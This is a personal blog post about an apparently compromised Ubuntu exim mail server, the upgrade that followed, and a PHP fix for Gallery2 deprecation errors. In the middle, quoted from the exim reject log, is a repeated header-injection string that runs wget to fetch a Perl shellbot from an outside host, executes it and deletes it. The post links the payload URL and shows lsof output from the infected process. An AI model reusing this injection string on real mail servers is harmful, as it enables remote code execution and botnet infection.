Ubuntu upgrade problems and solutions

Some interesting stuff that all started with an apparent unwanted visitor to the exim server running Jaunty Jackalope. The problem was likely a kernel exploit that hadn’t been patched. My bad, but not entirely. I have always admin’d this box via PuTTY and *evidently*, the apt-get upgrade function ignores kernel updates unless you are local on the machine. And in addition, it doesn’t tell you when a distro has reached end of life and won’t be getting any more security updates!

So… I noted a PERL script hogging resources. And a process that called itself /usr/sbin/apache/logs or something like that. The clue was the fact that /usr/sbin/apache doesn’t exist on that box… only ‘apache2’.

I summarized some of what I learned in an email to a friend after I had fixed it:

I had a scare today with a perl script that was using all my resources. From what I can see, it was a bot of some sort. I’ve since upgraded the box a few Ubuntu versions, so hopefully the (assumed) kernel issue will stop it from being re-infected. Hopefully whatever it was isn’t able to start itself on boot. So far I see no evidence of it running now.

The script that it downloaded and then ran can be seen here:

http://rav3nhack.netfirms.com/hau.1

Note that AVG identifies it as a PERL shellbot or something, so I can’t easily save it and send it around (which I probably shouldn’t do anyway!) but I think it should be safe enough to view in Firefox.

I found in my exim reject log the point of origin (I think). It relates the question I asked the other day about big files… inside the reject log, there’s a bunch of stuff, with the main code repeated on and on:

Header0054: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
Header0055: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
HeaderX: ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;
perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirm
s.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wge
t http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.
1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /tmp/hau.1;rm -rf /tmp/hau.1’}} ${run{/bin/sh -c ‘wget http://rav3nhack.netfirms.com/hau.1 -O /tmp/hau.1;perl /
tmp/hau.1;rm -rf /tmp/hau.1’}}

So that would give you an idea of what the script was doing. When it was going, I did ‘lsof’ and got this:

root@nanson:/var/log/apache2# lsof -p 4797

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 4797 Debian-exim cwd DIR 8,1 4096 2 /

perl 4797 Debian-exim rtd DIR 8,1 4096 2 /

perl 4797 Debian-exim txt REG 8,1 1269408 16515 /usr/bin/perl

perl 4797 Debian-exim mem REG 8,1 75472 1072103 /lib/tls/i686/cmov/libresolv-2.9.so

perl 4797 Debian-exim mem REG 8,1 21976 1072095 /lib/tls/i686/cmov/libnss_dns-2.9.so

perl 4797 Debian-exim mem REG 8,1 7552 1054799 /lib/libnss_mdns4_minimal.so.2

perl 4797 Debian-exim mem REG 8,1 42504 1072096 /lib/tls/i686/cmov/libnss_files-2.9.so

perl 4797 Debian-exim mem REG 8,1 38296 1072089 /lib/tls/i686/cmov/libcrypt-2.9.so

perl 4797 Debian-exim mem REG 8,1 1442180 1072087 /lib/tls/i686/cmov/libc-2.9.so

perl 4797 Debian-exim mem REG 8,1 116405 1072101 /lib/tls/i686/cmov/libpthread-2.9.so

perl 4797 Debian-exim mem REG 8,1 149328 1072091 /lib/tls/i686/cmov/libm-2.9.so

perl 4797 Debian-exim mem REG 8,1 9676 1072090 /lib/tls/i686/cmov/libdl-2.9.so

perl 4797 Debian-exim mem REG 8,1 21940 89998 /usr/lib/perl/5.10.0/auto/Socket/Socket.so

perl 4797 Debian-exim mem REG 8,1 17812 89987 /usr/lib/perl/5.10.0/auto/IO/IO.so

perl 4797 Debian-exim mem REG 8,1 117348 1054744 /lib/ld-2.9.so

perl 4797 Debian-exim 0r FIFO 0,6 16107 pipe

perl 4797 Debian-exim 1w FIFO 0,6 16108 pipe

perl 4797 Debian-exim 2w FIFO 0,6 16108 pipe

perl 4797 Debian-exim 3u IPv4 16127 TCP nanson.org:39492->ns.akcent.com:6969 (ESTABLISHED)

perl 4797 Debian-exim 4u IPv4 14025 TCP nanson.org:smtp->74-51-34-162.telnetcommunications.com:35719 (ESTABLISHED)

perl 4797 Debian-exim 5u IPv4 14025 TCP nanson.org:smtp->74-51-34-162.telnetcommunications.com:35719 (ESTABLISHED)

What I’d like to work out is where/what it might have left behind so I can kill it for good. Do you see any clues in the script?

Because of these problems I put a monitor on the server and worked locally. That’s when I found that I could get a new kernel (which might have been all I needed to block future attempts) and that the distro was no longer going to receive security updates. After upgrading the kernel, I decided I might just as well give the disto-update a try (even though I’ve had bad luck in the past!). Happily, I upgraded two versions to 10.04 LTS. That should allow me to keep the patches coming for another year or two.

One issue I came across afterward was a problem with Gallery2 in my WordPress blog. Rather than see the contents, I got this error:

Deprecated: Assigning the return value of new by reference is deprecated in /usr/share/gallery2/bootstrap.inc on line 43

Upon researching this one, I found this page:

http://gallery.menalto.com/node/95919

Rather than attempt to update the version of Gallery2, I elected to make the php changes noted in that link:

I managed to fix the problem by doing the two following things:

1) Change error reporting line in /etc/php5/apache2/php.ini from

error_reporting = E_ALL & ~E_NOTICE

to

error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED

2) In /etc/gallery2/config.php change the line

$storeConfig[‘type’] = ‘mysqli’;

to

$storeConfig[‘type’] = ‘mysqlt’;

Restarted Apacahe, and then all was fixed (at least for me).

It worked for me also.

Advertisements